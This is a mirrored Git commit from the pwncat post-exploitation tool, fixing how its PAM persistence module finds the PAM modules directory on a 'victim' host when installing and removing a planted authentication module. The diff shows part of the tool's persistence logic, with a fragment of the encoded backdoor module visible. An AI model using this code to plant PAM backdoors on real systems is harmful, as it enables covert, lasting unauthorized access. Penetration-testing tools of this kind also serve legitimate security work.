mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Fixed pam persistence removal
Locating the pam directory was done differently in install and removal routines, which caused discrepencies after installation. Should fix #21
This commit is contained in:
parent
dfc86464fc
commit
bdb5b5db56
@ -210,17 +210,17 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
|||||||
|
|
||||||
# Locate the pam_deny.so to know where to place the new module
|
# Locate the pam_deny.so to know where to place the new module
|
||||||
pam_modules = "/usr/lib/security"
|
pam_modules = "/usr/lib/security"
|
||||||
try:
|
|
||||||
results = (
|
results = (
|
||||||
pwncat.victim.env(["find", "/", "-name", "pam_deny.so"])
|
pwncat.victim.run(
|
||||||
|
"find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
|
||||||
|
)
|
||||||
.strip()
|
.strip()
|
||||||
.decode("utf-8")
|
.decode("utf-8")
|
||||||
)
|
)
|
||||||
if results != "":
|
if results != "":
|
||||||
results = results.split("\n")
|
results = results.split("\n")
|
||||||
pam_modules = os.path.dirname(results[0])
|
pam_modules = os.path.dirname(results[0])
|
||||||
except FileNotFoundError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
# Ensure the directory exists and is writable
|
# Ensure the directory exists and is writable
|
||||||
access = pwncat.victim.access(pam_modules)
|
access = pwncat.victim.access(pam_modules)
|
||||||
|
Loading…
Reference in New Issue
Block a user